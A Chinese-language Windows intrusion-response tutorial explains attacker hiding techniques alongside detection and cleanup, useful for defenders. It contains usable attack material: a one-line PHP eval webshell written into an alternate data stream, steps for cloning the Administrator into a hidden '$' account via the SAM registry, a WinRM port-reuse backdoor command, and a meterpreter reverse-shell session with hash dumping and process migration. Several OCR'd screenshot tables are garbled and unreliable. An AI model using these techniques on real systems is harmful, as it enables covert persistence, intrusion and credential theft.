| 常规查看 搜索 文件夹视图 可以将该文件夹正在使用的视图(例如"详细信 息"或"图标")应用到所有这种类型的文件夹中。 |
| 应用到文件夹 (L) 重置文件夹 (R) |
| 高級设立: ✓ 显示驱动器号 ✓ 隐藏计算机文件夹中的空驱动器 ◎ 隐藏受保护的操作系统文件(推荐) ▶ 隐藏文件和文件夹 ◎ 不显示隐藏的文件、文件夹或驱动器 ◎ 显示隐藏的文件、文件夹和驱动器 ◎ 显示隐藏的文件、文件夹或驱动器 ◎ 显示隐藏的文件、文件夹或驱动器 ◎ 显示隐藏的文件、文件夹或驱动器 ◎ 显示隐藏的文件、文件夹或驱动器 ◎ 显示隐藏的文件、文件夹或驱动器 ◎ 显示隐藏的文件、文件夹或驱动器 ◎ 显示隐藏的文件、文件夹或驱动器 ◎ 显示隐藏的文件、文件夹和驱动器 ◎ 显示隐藏的文件、文件夹和驱动器 ◎ 显示隐藏的文件、文件夹和驱动器 ◎ 显示隐藏的文件、文件夹和驱动器 ◎ 显示隐藏的文件、文件夹和驱动器 ◎ 显示隐藏的文件、文件夹和驱动器 ◎ 显示隐藏的文件、文件夹和驱动器 ◎ 显示隐藏的文件、文件夹和驱动器 ◎ 显示隐藏的文件、文件夹和驱动器 ◎ 显示隐藏的文件、文件类和驱动器 ◎ 显示隐藏的文件、文件类和驱动器 ◎ 如子称题书 |
| · · · · · · · · · · · · · · · · · · · |
| 确定 取消 应用 (A) |

如何真正隐藏文件?

使用Attrib +s +a +h +r命令就是把原本的文件夹增加了系统文件属性、存档文件属性、只读文件属性和隐藏文件属性。

attrib +s +a +h +r D:\test\project\test.txt

这样就做到了真正的隐藏,不管你是否显示隐藏文件,此文件夹都看不见。

破解隐藏文件:

打开电脑文件夹选项卡,取消"隐藏受保护的操作系统文件"勾选,把"隐藏文件和文件夹"下面的单选选择"显示隐藏的文件、文件夹和驱动器"。

| 文件夹选项 | × |
|--|---|
| 常规 查看 搜索 | |
| 文件夹视图 可以将该文件夹正在使用的视图(例如"详细信 思"或"图标")应用到所有这种类型的文件夹 中。 | |
| 应用到文件夹(L) 重置文件夹(R) | |
| | |
| □ 始终显示菜单 ▲ ✓ 始终显示图标,从不显示缩略图 ☑ 鼠标指向文件夹和桌面项时显示提示信息 ☑ 显示驱动器号 ☑ 隐藏近洋机文件夹中的空驱动器 □ 隐藏受保护的操作系统文件(推荐) ▲ 隐藏文件和文件夹 ○ 不显示隐藏的文件、文件夹或驱动器 ④ 鼠藻已知文件类型的扩展名 ☑ 用彩色显示加密或压缩的 MTFS 文件 | |
| 还原为默认值 (0) | |
| | |

2、利用ADS隐藏文件内容

在服务器上echo一个数据流文件进去,比如index.php是网页正常文件,我们可以这样子搞:

```
echo ^<?php @eval($_POST['chopper']);?^> > index.php:hidden.jpg
```

这样子就生成了一个不可见的shell hidden.jpg,常规的文件管理器、type命令,dir命令、del命令发现都找不出那个 hidden.jpg的。

问题1: 如何查看index.php:hidden.jpg内容呢?

进入文件所在目录, notepad index.php:hidden.jpg 或者 dir /r

问题2: 如何删除index.php:hidden.jpg?

直接删除index.php即可

3、驱动级文件隐藏

驱动隐藏我们可以用过一些软件来实现,软件名字叫: Easy File Locker

下载链接: <u>http://www.xoslab.com/efl.html</u>

如果你在网站目录未查找到相关文件, 且系统目录存在存在以下文件:

```
c:\WINDOWS\xlkfs.dat
c:\WINDOWS\xlkfs.dll
c:\WINDOWS\xlkfs.ini
c:\WINDOWS\system32\drivers\xlkfs.sys
```

那么你,应该是遭遇了驱动级文件隐藏。

如何清除?

- 1、查询服务状态: sc qc xlkfs
- 2、停止服务: net stop xlkfs 服务停止以后,经驱动级隐藏的文件即可显现
- 3、删除服务: sc delete xlkfs
- 4、删除系统目录下面的文件,重启系统,确认服务已经被清理了。

隐藏文件的方式还有很多,比如伪装成一个系统文件夹图标,利用畸形文件名、保留文件名无法删除,甚至取一个与系统文件很像的文件名并放在正常目录里面,很难辨别出来。

这些隐藏文件的方式早已不再是秘密,而更多的恶意程序开始实现"无文件"攻击,这种方式极难被发现。

0x02 隐藏账号

window 隐藏系统用户操作, CMD命令行下, 建立了一个用户名为"test\$", 密码为"abc123!"的简单隐藏账户,并且把该 隐藏账户提升为了管理员权限。



PS:CMD命令行使用"net user",看不到"test\$"这个账号,但在控制面板和本地用户和组是可以显示此用户的。

克隆账号制作过程:

1、"开始"→"运行",输入"regedt32.exe"后回车,需要到"HKEY_LOCAL_MACHINE\SAM\SAM",单机右建权限,把名 叫:administrator的用户给予:完全控制以及读取的权限,在后面打勾就行,然后关闭注册表编辑器,再次打开即可。

| 於注册表编辑器 日本 日本 | | | | | | |
|---|-----------------|------------|---------------------------------------|--|--|--|
| 文件(F) 编辑(E) 查看(V) 收藏夹(A |) 帮助(H) | | | | | |
| □19 计算机 | 名称 | 类型 | 数据 | | | |
| ⊕ | 赵 (默认) | REG_SZ | (数值未设置) | | | |
| 🗄 📲 HKEY_CURRENT_USER | R C | REG_BINARY | 07 00 01 00 00 00 00 98 00 00 02 00 0 | | | |
| 🚊 🌗 HKEY_LOCAL_MACHINE | 1 ServerDomainU | REG_BINARY | fe | | | |
| | | | | | | |
| E-B COMPONENTS | | | | | | |
| 🕀 🖳 🕂 庄 🕂 🕂 🕀 🔁 | | | | | | |
| | | | | | | |
| E- SAM | | | | | | |
| | | | | | | |
| RXACT | | | | | | |
| the Schema | | | | | | |
| SECURITI | | | | | | |
| E CYCTRU | | | | | | |
| | | | | | | |
| HT ARELOSERS | | | | | | |
| HIMET_CORRENT_CONFIG | | | | | | |
| | | | | | | |

2、来到注册表编辑器的"HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names"处,点击test\$用户, 得到在右边显示的键值中的"类型"一项显示为0x3ec,找到箭头所指目录。



3、找到administrator所对应的的项为"000001F4",将"000001F4"的F值复制到"000003EC"的F值中,保存。



4、分别test和 "000003EC导出到桌面,删除test用户 net user test\$ /del



5、将刚才导出的两个后缀为.reg的注册表项导入注册表中。这样所谓的隐藏账户就创建好了。PS:不管你是在命令提示符下输入net user 或者在系统用户管理界面都是看不到test\$这个账户的,只有在注册表中才能看得到。

检测和清理方法:

使用D盾_web查杀工具,使用克隆账号检测功能进行查看,可检测出隐藏、克隆账号。

| 🥘数据库后门追查 🛛 🛷 数据库降机 | 1 🕵 克隆帐号检测 | 🔁 流量监控 🛯 📴 IIS 池监控 | 😢 湍口查看 💕 进程查看 | 🚺 💛 样本解码 🗋 文件监控 |
|--------------------|------------|--------------------|------------------|-----------------|
|--------------------|------------|--------------------|------------------|-----------------|

| ID | 帐号 | 全名 | 描述 | D盾_检测说明 | |
|-------|-----------------|---------------|----------------|-----------------|--|
| 🕵 3ED | test\$ | | | 危险! 克隆了[管理帐号] | |
| 🕵 3EE | test1\$ | | | 带\$帐号(一般用于隐藏帐号) | |
| 🕵 1F4 | Administrator | | 管理计算机(域)的内置 | [管理帐号] | |
| 💥 1F5 | Guest | | 供来宾访问计算机或访 | | |
| 🕵 3E8 | IUSR_WIN2008-NE | Internet 来宾帐户 | 用于匿名访问 Interne | | |

0x03 端口复用

通过端口复用来达到隐藏端口的目的,在Window下,如何实现端口复用呢?

前阵子,@Twi1ight公布了一种基于内置系统服务的端口复用后门方法,利用WinRM服务,一条命令实现端口复用后门:

winrm set winrm/config/service @{EnableCompatibilityHttpListener="true"}

一般开启WinRM服务作为远程管理,但还是第一次听到可以作为端口复用,一种简单容易实现的端口复用方式。假设, 攻击者已获取到administrator账号密码,连接远程WinRM服务执行命令:



当执行这条命令的同时,将在安全日志中留下痕迹,

| ■ 事件查看器 | | | | | | | |
|-----------------------------|--------------------|---------------------|---------------------------------|---------------|--|--|--|
| 文件 (F) 操作 (A) 查看 (V) 帮助 (H) | | | | | | | |
| 🗢 🔿 🖄 💽 💈 | | | | | | | |
| ■ 事件查看器 (本地) | 安全 事件数 | (: 11 (!) 可用的新事件 | | | 操作 | | |
| 日本 日本X10回 日本 Windows 日本 | 关键字 | 日期和时间 | 来源 | 事件 ID 仟务类别 | 🛛 安全 🔺 📥 | | |
| | ▲ 审核成功 | 2019/8/15 23:32:59 | Microsoft Win | 4634 注销 | a 🔬 🕹 | | |
| ■ 安全 | 🔍 审核成功 | 2019/8/15 23:32:58 | Microsoft Win | 4658 注册表 | | | |
| Setup | ▲ 【 审核成功 | 2019/8/15 23:32:58 | Microsoft Win | 4656 注册表 | Y 89 | | |
| 💽 系统 | ┃ < 【■核成功 | 2019/8/15 23:32:58 | Microsoft Win | 4658 注册表 | | | |
| 📃 転发事件 | 🥄 审核成功 | 2019/8/15 23:32:58 | Microsoft Win | 4656 注册表 | | | |
| 🖃 📑 应用程序和服务 | 🥄 审核成功 | 2019/8/15 23:32:58 | Microsoft Win | 4656 其他对象访问事件 | /H···· | | |
| 🛃 订阅 | ■ 【 軍核成功 | 2019/8/15 23:32:58 | Microsoft Win | 4624 登录 | 🍸 筛 | | |
| | ● 「 「 核 成 功 | 2019/8/15 23:32:58 | Microsoft Win | 4672 特殊登录 | 🔄 🔄 属性 | | |
| | ● 「 「 板 成 功 | 2019/8/15 23:32:58 | Microsoft Win | 4776 汽捕验证 | 000 ∞ | | |
| | ● ● 核成功 | 2019/8/15 23:32:58 | Microsoft Win | | | | |
| | < ■ ● 核 風 切 | 2019/8/15 23:32:47 | Eventlog | 1102 日志清除 | 将… | | |
| | L | | | | ━━ 将 | | |
| | 事件 4634 , Micro | osoft Windows 安全审核。 | | , | ★ ★ ★ ★ | | |
| | | = Ì | | | | | |
| | 中//6 ()开细1言题 | 5 | | | 副新 | | |
| | | | | ^ | | | |
| | | | | | | | |
| | | | | | ● 事件 ▲ | | |
| | 日志名称(<u>M</u>): | 安全 | | \sim | 事 | | |
| | 来源(<u>S</u>): | Microsoft Windows 롱 | 安全审 记录时间(D): 2019/8/15 23:32:59 | - | 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 | | |
| | J | | | | | | |
| | | | | | | | |

另外,可以通过代码实现端口复用重定向,工具:<u>https://github.com/crabkun/Switcher</u>



进程注入,一直是病毒木马的惯用手段,同时,它也是一种隐藏技术。在常见的渗透测试框架中,进程注入是怎么做的 以及我们如何通过工具排查出来?

1、meterpreter会话注入

当前权限无法获取hash值,查看目前系统进程

| <u>msf</u> ex | <pre>msf exploit(multi/handler) > exploit</pre> | | | | | | | |
|--|--|------------------|------|---------|----------------------------|-------------------|--|--|
| <pre>[*] St [*] Se [*] S1 [*] Me 0</pre> | Started reverse TCP handler on 192.168.28.128:1234 Sending stage (179779 bytes) to 192.168.28.129 Sleeping before handling stage Meterpreter session 5 opened (192.168.28.128:1234 -> 192.168.28.129:49172) at 2019-08-10 03:07:06 -040 0 | | | | | | | |
| meterp [-] pr meterp | <pre>meterpreter > hashdump [-] priv_passwd_get_sam_hashes: Operation failed: The parameter is incorrect. meterpreter > ps</pre> | | | | | | | |
| Proces | s List | | | | | | | |
| | | | | | | | | |
| PID | PPID | Name | Arch | Session | User | Path | | |
| | | | | | | | | |
| 0 | 0 | [System Process] | | | | | | |
| 4 | 0 | System | x64 | 0 | | | | |
| 232 | 4 | smss.exe | x64 | 0 | NT AUTHORITY\SYSTEM | C:\Windows\System | | |
| 32\sms | s.exe | | | | | | | |
| 300 | 480 | svchost.exe | x64 | 0 | NT AUTHORITY\LOCAL SERVICE | C:\Windows\System | | |
| 32\svc | host.e | xe | | | | | | |
| 324 | 316 | csrss.exe | x64 | 0 | NT AUTHORITY\SYSTEM | C:\Windows\System | | |
| 32\csr | ss.exe | | | | | | | |
| 376 | 368 | csrss.exe | x64 | 1 | NT AUTHORITY\SYSTEM | C:\Windows\System | | |

通过migrate将进程注入到system进程后,成功获得hash值。

| 2325 512 svchost.exe x64 0 NT AUTHORITYLOCAL SERVICE C:\WindowA\System3/SUllhost.exe 2400 3780 vmtoolsd.exe x64 1 WIN-DBMSEMDUNDINAdministrator C:\WindowA\System3/SUllhost.exe 2400 3780 vmtoolsd.exe x64 1 NIN-DBMSEMDUNDINAdministrator C:\VindowA\System3/SUllhost.exe 2725 512 TPAUtoConnSvc.exe x64 0 NT AUTHORITYLSTEM C:\VindowA\System3/Support.exe 2524 512 dilancher.exe x64 0 NT AUTHORITYLSTEM C:\VindowA\System3/Support.exe 2525 512 svchost.exe x64 0 NT AUTHORITYLSTEM C:\VindowA\System3/Support.exe 2526 512 svchost.exe x64 0 NT AUTHORITYLSTEMC C:\WindowA\System3/Suvchost.exe 3000 512 svchost.exe x64 0 NT AUTHORITYLSTEMC C:\WindowA\System3/Suvchost.exe 3104 512 svchost.exe x64 0 NT AUTHORITYLNETMOKK SERVICE C:\WindowA\System3/Suvchost.exe 3105 512 svchost.exe x64 0 NT AUTHORITYLNETMOKK SERVICE C:\Win | - | | | | | | | | |
|---|------------------------|---|---------------------------|-----|---|-------------------------------|--|--|--|
| B364 512 dllhost.exe x64 0 WT AVTRORITY/SYSTEM C:\Windows/System32\sppwc.exe 2672 512 sppwc.exe x64 0 WT AVTRORITY/SYSTEM C:\Windows/System32\sppwc.exe 2772 512 TRAUTCONSVC.exe x64 0 WT AVTRORITY/NETWORK SERVICE C:\Windows/System32\sppwc.exe 2874 512 filauncher.exe x64 0 WT AVTRORITY/NETWORK SERVICE C:\Windows/System32\sychost.exe 2874 512 filauncher.exe x64 0 WT AVTRORITY/NETWORK SERVICE C:\Windows/System32\sychost.exe 2874 512 sychost.exe x64 0 WT AVTRORITY/NETWORK SERVICE C:\Windows/System32\sychost.exe 2876 512 sychost.exe x64 0 WT AVTRORITY/NETWORK SERVICE C:\Windows/System32\sychost.exe 2876 fila sychost.exe x64 0 WT AVTRORITY/NETWORK SERVICE C:\Windows/System32\sychost.exe 2876 size schost.exe x64 0 WT AVTRORITY/NETWORK SERVICE C:\Windows/System32\sychost.exe 2876 size schost.exe x64 0 WT AVTRORITY/NETWORK SERVICE C:\Windows/System32\sychost.exe 3152 schost.exe x64 0 WT AVTRORITY/NETWORK SERVICE </td <td>2232</td> <td>512</td> <td>svchost.exe</td> <td>x64</td> <td>0</td> <td>NT AUTHORITY\LOCAL SERVICE</td> <td>C:\Windows\System32\svchost.exe</td> | 2232 | 512 | svchost.exe | x64 | 0 | NT AUTHORITY\LOCAL SERVICE | C:\Windows\System32\svchost.exe | | |
| 2400 3780 vmtoolsd.exe x64 1 Win-OMMSYAMENISTANCE C:\Program File3\Whare Tools\vmtoolsd.exe 2722 512 TFAutoConnSvc.exe x64 0 NT AVTHORITYNETKORK SERVICE C:\Program File3\Whare Tools\vmtoolsd.exe 2924 512 Still fidauncher.exe x64 0 NT AVTHORITYNETKORK SERVICE C:\Program File3\Whare Tools\vmtoolsd.exe 2924 512 svchost.exe x64 0 NT AVTHORITYNETKORK SERVICE C:\Windows/System32\svchost.exe 3000 512 svchost.exe x64 0 NT AVTHORITYNETKORK SERVICE C:\Windows/System32\svchost.exe 3001 512 svchost.exe x64 0 NT AVTHORITYNETKORK SERVICE C:\Windows/System32\svchost.exe 3002 512 svchost.exe x64 0 NT AVTHORITYNETKORK SERVICE C:\Windows/System32\svchost.exe 3014 512 gefo stal MT AVTHORITYNETKORK SERVICE C:\Windows/System32\svchost.exe 302 512 gefo othols.exe x64 0 NT AVTHORITYNETKORK SERVICE C:\Windows/System32\svchost.exe 303 512 msdc.exe x64 | 2364 | 512 | dllhost.exe | x64 | 0 | NT AUTHORITY\SYSTEM | C:\Windows\System32\dllhost.exe | | |
| 2672 512 spparc.exe x64 0 NT AUTHORITY.NETWORK SERVICE C:Windowa/System32/spparc.exe 2727 512 fdlauncher.exe x64 0 NT AUTHORITY.STETM C:Nerogram Files/Microsoft SQL Server/MSSQL10_50.MSSQLSERVER/MSSQL/Binn\fdlauncher.exe 284 512 fdlauncher.exe x64 0 NT AUTHORITY.NETWORK SERVICE C:Nerogram Files/Microsoft SQL Server/MSSQL10_50.MSSQLSERVER/MSSQL/Binn\fdlauncher.exe 284 512 sychost.exe x64 0 NT AUTHORITY.NETWORK SERVICE C:Neindowa/System32/sychost.exe 3048 2524 fdhost.exe x64 0 NT AUTHORITY.NETWORK SERVICE C:Neindowa/System32/sychost.exe 3048 2524 fdhost.exe x64 0 NT AUTHORITY.NETWORK SERVICE C:Neindowa/System32/sychost.exe 3048 2524 fdhost.exe x64 0 NT AUTHORITY.NETWORK SERVICE C:Neindowa/System32/sychost.exe 3048 2524 fdhost.exe x64 1 WIN-DMMSENZOMBA.dministrator C:Windowa/System32/sychost.exe 3048 512 sychost.exe x64 3 NT AUTHORITY.NETWORK SERVICE C:Windowa/System32/sychost.exe 3058 create x64 3 NT AUTHORITY.NETWORK SERVICE C:Windowa/System32/sychost.exe 3058 | 2400 | 3780 | vmtoolsd.exe | x64 | 1 | WIN-D8MSEM20MJB\Administrator | C:\Program Files\VMware\VMware Tools\vmtoolsd.exe | | |
| 2772 512 TFAULCOONSVC.exe x64 0 NT AUTHORITY/SYSTEM C:\Fcogram Files/Microsoft.SQL Server(MSSQL10_50.MSSQLSERVER(MSSQL)Binn\fdlauncher.exe 2945 512 svchost.exe x64 0 NT AUTHORITY/NETWORK SERVICE C:\Fundows/System32\svchost.exe 3000 512 svchost.exe x64 0 NT AUTHORITY/NETWORK SERVICE C:\Fundows/System32\svchost.exe 3040 2924 file files/Microsoft.SQL Server/MSSQL10_50.MSSQLSERVER/MSSQL/Binn\fdhost.exe 3040 356 condot.exe x64 0 NT AUTHORITY/NETWORK SERVICE C:\Fundows/System32\condot.exe 3152 sfed condot.exe x64 0 NT AUTHORITY/NETWORK SERVICE C:\Windows/System32\condot.exe 3164 512 madtc.exe x64 0 NT AUTHORITY/NETWORK SERVICE C:\Windows/System32\condot.exe 3184 512 madtc.exe x64 0 NT AUTHORITY/NETWORK SERVICE C:\Windows/System32\condot.exe 3184 512 madtc.exe x64 NT AUTHORITY/NETWORK SERVICE C:\Windows/System32\condot.exe 3288 3760 shell.exe x64 NT AUTHORITY/NETWORK SERVICE C:\Windows/System3 | 2672 | 512 | sppsvc.exe | x64 | | NT AUTHORITY\NETWORK SERVICE | C:\Windows\System32\sppsvc.exe | | |
| 2924 512 fdlauncher.exe x64 0 NT AUTHORITY.LOCAL SERVICE C:\Vindows\System32\svchost.exe 3000 512 svchost.exe x64 0 NT AUTHORITY.NETWORK SERVICE C:\Vindows\System32\svchost.exe 3010 512 svchost.exe x64 0 NT AUTHORITY.NETWORK SERVICE C:\Vindows\System32\svchost.exe 3024 512 svchost.exe x64 0 NT AUTHORITY.LOCAL SERVICE C:\Vindows\System32\svchost.exe 3040 356 conhost.exe x64 0 NT AUTHORITY.LOCAL SERVICE C:\Vindows\System32\svchost.exe 3152 2960 rdjclip.exe x64 0 NT AUTHORITY.LOCAL SERVICE C:\Vindows\System32\svchost.exe 3154 512 madtc.exe x64 1 WIN-DBBSEM20MJBAdministrator C:\Vindows\System32\svchost.exe 3588 3568 csrss.exe x64 NT AUTHORITY.SYSTEM C:\Vindows\System32\undows\System3 | 2772 | 512 | TPAutoConnSvc.exe | x64 | | NT AUTHORITY\SYSTEM | C:\Program Files\VMware\VMware Tools\TPAutoConnSvc.exe | | |
| 2960 512 svchost.exe x64 0 NT AUTHORITY/NETWORK SERVICE C:\Windows\System32\svchost.exe 3000 512 svchost.exe x64 0 NT AUTHORITY/NETWORK SERVICE C:\Windows\System32\svchost.exe 3048 2924 fdhost.exe x64 0 NT AUTHORITY/NETWORK SERVICE C:\Windows\System32\rochost.exe 3050 512 cohnost.exe x64 0 NT AUTHORITY/NETWORK SERVICE C:\Windows\System32\rochost.exe 3151 2960 rdpclip.exe x64 0 NT AUTHORITY/NETWORK SERVICE C:\Windows\System32\rochost.exe 3184 512 madrc.exe x64 0 NT AUTHORITY/NETWORK SERVICE C:\Windows\System32\rochost.exe 3288 3780 shell2.exe x64 1 WIN-DBMSEM20MJB\Administrator C:\Windows\System32\rochost.exe 3616 3566 c:rss.exe x64 3 NT AUTHORITY/NETWORK C:\Windows\System32\rochost.exe 3780 shell2.exe x64 3 NT AUTHORITY/NETWORK C:\Windows\System32\rochost.exe 3816 166 LogonUI.exe x64 3 NT AUTHORITY/NETWORK C:\Win | 2924 | 512 | fdlauncher.exe | x64 | | NT AUTHORITY\LOCAL SERVICE | C:\Program Files\Microsoft SQL Server\MSSQL10_50.MSSQLSERVER\MSSQL\Binn\fdlauncher.exe | | |
| 3000 512 svchost.exe x64 0 NT AUTHORITY/LOCALS SERVICE C:\Windows/System32/vschost.exe 3048 2924 fdhost.exe x64 0 NT AUTHORITY/LOCAL SERVICE C:\Windows/System32/vschost.exe 3050 356 conhost.exe x64 0 NT AUTHORITY/LOCAL SERVICE C:\Windows/System32/vschost.exe 3152 2960 rdpclip.exe x64 0 NT AUTHORITY/NETMORK SERVICE C:\Windows/System32/vschost.exe 3154 512 msdtc.exe x64 0 NT AUTHORITY/NETMORK SERVICE C:\Windows/System32/vschost.exe 3164 512 msdtc.exe x64 0 NT AUTHORITY/NETMORK SERVICE C:\Windows/System32/vschost.exe 3164 512 msdtc.exe x64 0 NT AUTHORITY/NETMORK SERVICE C:\Windows/System32/vschost.exe 3164 516 566 carss.exe x64 3 NT AUTHORITY/NETMORE C:\Windows/System32/vschost.exe 3161 3566 sis6 sis6 non.exe x64 3 NT AUTHORITY/NETMORE C:\Windows/System32/Logon/O.exe 3176 3736 sis6 schoon/D.exe | 2960 | 512 | svchost.exe | x64 | | NT AUTHORITY\NETWORK SERVICE | C:\Windows\System32\svchost.exe | | |
| 3048 2924 fdhost.exe x64 0 NT AUTHORITYLOCAL SERVICE C:\Program File<\Microsoft SQL Server\MSSQL_SUVER\MSSQL\Binn\fdhost.exe | 3000 | 512 | svchost.exe | x64 | | NT AUTHORITY\NETWORK SERVICE | C:\Windows\System32\svchost.exe | | |
| 0060 356 conhost.exe x64 0 NT AUTHORITYLOCAL SERVICE C:\Windows\System32\rdpclip.exe 3152 2960 rdpclip.exe x64 1 WIN-D0MSEM20MJB\Administrator C:\Windows\System32\rdpclip.exe 3184 512 madtc.exe x64 0 NT AUTHORITYNETMORK SERVICE C:\Windows\System32\rdpclip.exe 3288 3780 shell2.exe x86 1 WIN-D0MSEM20MJB\Administrator C:\Windows\System32\rdpclip.exe 3588 3568 csrss.exe x64 3 NT AUTHORITY\SYSTEM C:\Windows\System32\logon.exe 3664 3616 LogonUl.exe x64 3 NT AUTHORITY\SYSTEM C:\Windows\System32\logonUl.exe 3780 3736 explore.exe x64 1 WIN-D0MSEM20MJB\Administrator C:\Windows\System32\logonUl.exe 3828 3780 Topiew.exe x86 1 WIN-D0MSEM20MJB\Administrator C:\Windows\System32\windows\System32\windows.exe 3952 3920 winlogon.exe x64 1 NT AUTHORITY\SYSTEM C:\Windows\System32\windows.exe 4092 S12 taskhost.exe x64 1 WIN-D0MSEM20M | 3048 | 2924 | fdhost.exe | x64 | | NT AUTHORITY\LOCAL SERVICE | C:\Program Files\Microsoft SQL Server\MSSQL10_50.MSSQLSERVER\MSSQL\Binn\fdhost.exe | | |
| 3152 2960 rdpclip.exe x64 1 WIN-DMSEM20MJPAdministrator C:\Windows\System32\mpdc.exe 3184 512 msdtc.exe x64 0 NT AUTHORITY\NETWORK SERVICE C:\Windows\System32\mpdc.exe 3288 3780 shell2.exe x64 1 WIN-DMSEM20MJPAdministrator C:\Windows\System32\mpdc.exe 3586 3566 carse.exe x64 3 NT AUTHORITY\SYSTEM C:\Windows\System32\logon.exe 3664 3616 LogonUI.exe x64 3 NT AUTHORITY\SYSTEM C:\Windows\System32\logonUI.exe 3786 992 dwm.exe x64 1 WIN-DMSEM20MJPAdministrator C:\Windows\System32\logonUI.exe 3780 3786 explorer.exe x86 1 WIN-DMSEM20MJPAdministrator C:\Windows\System32\logonUI.exe 3828 3780 Tepview.exe x86 1 WIN-DMSEM20MJPAdministrator C:\Windows\System32\logonU.exe 3928 3920 crss.exe x66 1 WIN-DMSEM20MJPAdministrator C:\Windows\System32\logonU.exe 4092 S12 taskhost.exe x64 1 WIN-DMSEM20MJPAdministrator C: | 3060 | 356 | conhost.exe | x64 | | NT AUTHORITY\LOCAL SERVICE | C:\Windows\System32\conhost.exe | | |
| 3184 512 msdtc.exe x64 0 NT AUTHORITY/NETMCK SERVICE C:\Windows/System32\under.exe 3288 3780 shell2.exe x64 3 NT AUTHORITY/NETMCK SERVICE C:\Windows/System32\under.exe 3616 3566 varinogon.exe x64 3 NT AUTHORITY/NETMC C:\Windows/System32\underscheider.exe 3616 3566 varinogon.exe x64 3 NT AUTHORITY/NETMC C:\Windows/System32\underscheider.exe 3780 356 bogonti.exe x64 3 NT AUTHORITY/NETMC C:\Windows/System32\underscheider.exe 3780 3736 Explorer.exe x64 1 WIN-DBMSEM20MJB\Administrator C:\Windows/System32\underscheider.exe 3828 3780 Topview.exe x64 1 WIN-DBMSEM20MJB\Administrator C:\Windows/System32\underscheider.exe 3928 3920 carss.exe x64 1 NIN-DBMSEM20MJB\Administrator C:\Windows/System32\underscheider.exe 3928 3920 carss.exe x64 1 NIN-DBMSEM20MJB\Administrator C:\Windows/System32\underscheider.exe 3928 3920 sinfartheter meterpreter < | 3152 | 2960 | rdpclip.exe | x64 | | WIN-D8MSEM20MJB\Administrator | C:\Windows\System32\rdpclip.exe | | |
| 3288 3780 shell2.exe x66 1 WIN-DBMSEM20MJPAdministrator C:\Windows/System32\carss.exe 3588 3568 csrss.exe x64 3 NT AUTHORITY/SYSTEM C:\Windows/System32\carss.exe 3684 3616 3568 win.ogon.exe x64 3 NT AUTHORITY/SYSTEM C:\Windows/System32\carss.exe 3684 3616 JogonU.exe x64 1 WIN-DBMSEM20MJBAdministrator C:\Windows/System32\carss.exe 3780 3736 explorer.exe x64 1 WIN-DBMSEM20MJBAdministrator C:\Windows/System32\carss.exe 3828 3780 Topriew.exe x86 1 WIN-DBMSEM20MJBAdministrator C:\Windows/System32\carss.exe 3828 3780 Topriew.exe x86 1 WIN-DBMSEM20MJBAdministrator C:\Windows/System32\carss.exe 3828 3820 csrss.exe x64 1 NT AUTHORITY.SYSTEM C:\Windows/System32\windows/System32\windows.exe 4092 512 tashost.exe x64 1 NT AUTHORITY.SYSTEM C:\Windows/System32\windows.exe #Mtoprating from 3288 topsol.exe x64 1 NT | 3184 | 512 | msdtc.exe | x64 | | NT AUTHORITY\NETWORK SERVICE | C:\Windows\System32\msdtc.exe | | |
| 3586 3566 csrs.exe x64 3 NT AUTHORITY/SYSTEM C:\Windows/System32\winlogon.exe 3616 3568 winlogon.exe x64 3 NT AUTHORITY/SYSTEM C:\Windows/System32\winlogon.exe 3756 992 dwm.exe x64 1 MIN-DMSEM20MFJAdministrator C:\Windows/System32\winlogon.exe 3756 992 dwm.exe x64 1 MIN-DMSEM20MFJAdministrator C:\Windows/System32\windows/System | 3288 | 3780 | shell2.exe | x86 | | WIN-D8MSEM20MJB\Administrator | C:\Users\Administrator\Desktop\shell2.exe | | |
| <pre>3616 3568 winlogon.exe x64 3 NT AUTHORITY.SYSTEM C:\Windows\System32\LogonU1.exe 3664 3616 LogonU1.exe x64 3 NT AUTHORITY.SYSTEM C:\Windows\System32\LogonU1.exe 3664 3616 LogonU1.exe x64 1 NTN-DMSEM20MJB\Administrator C:\Windows\System32\LogonU1.exe 3756 952 dwm.exe x64 1 WIN-D0MSEM20MJB\Administrator C:\Windows\System32\LogonU1.exe 3780 3736 explorer.exe x64 1 WIN-D0MSEM20MJB\Administrator C:\Windows\System32\LogonU1.exe 3828 3780 Copriew.exe x64 1 NT AUTHORITY.SYSTEM C:\Windows\System32\LogonU1.exe 3828 3920 carss.exe x64 1 NT AUTHORITY.SYSTEM C:\Windows\System32\LogonU.exe 3852 3920 winlogon.exe x64 1 NT AUTHORITY.SYSTEM C:\Windows\System32\vinlogon.exe 4092 512 taskhost.exe x64 1 NT AUTHORITY.SYSTEM C:\Windows\System32\Laskhost.exe ***********************************</pre> | 3588 | 3568 | csrss.exe | x64 | | NT AUTHORITY\SYSTEM | C:\Windows\System32\csrss.exe | | |
| 3684 3616 LogonUI.exe x64 3 NTAUTHORITY/SYSTEM C:\Windows/System32\dognut.exe 3756 952 dwm.exe x64 1 WIN-DBMSEM20MJB\Administrator C:\Windows/System32\dognut.exe 3780 3736 6xplorer.exe x64 1 WIN-DBMSEM20MJB\Administrator C:\Windows/System32\dognut.exe 3828 3780 Topview.exe x86 1 WIN-DBMSEM20MJB\Administrator C:\Windows/System32\csrss.exe 3928 3920 csrss.exe x64 1 WIN-DBMSEM20MJB\Administrator C:\Windows/System32\csrss.exe 3928 3920 vinlogon.exe x64 1 NT AUTHORITY/SYSTEM C:\Windows/System32\csrss.exe 4092 512 taskhost.exe x64 1 NT AUTHORITY/SYSTEM C:\Windows/System32\taskhost.exe meterpreter > migrate 2364 I WIN-DBMSEM20MJB\Administrator C:\Windows/System32\taskhost.exe (*) Migrating from 3288 to 2364 I WIN-DBMSEM20MJB\Administrator C:\Windows/System32\taskhost.exe ************************************ | 3616 | 3568 | winlogon.exe | x64 | | NT AUTHORITY\SYSTEM | C:\Windows\System32\winlogon.exe | | |
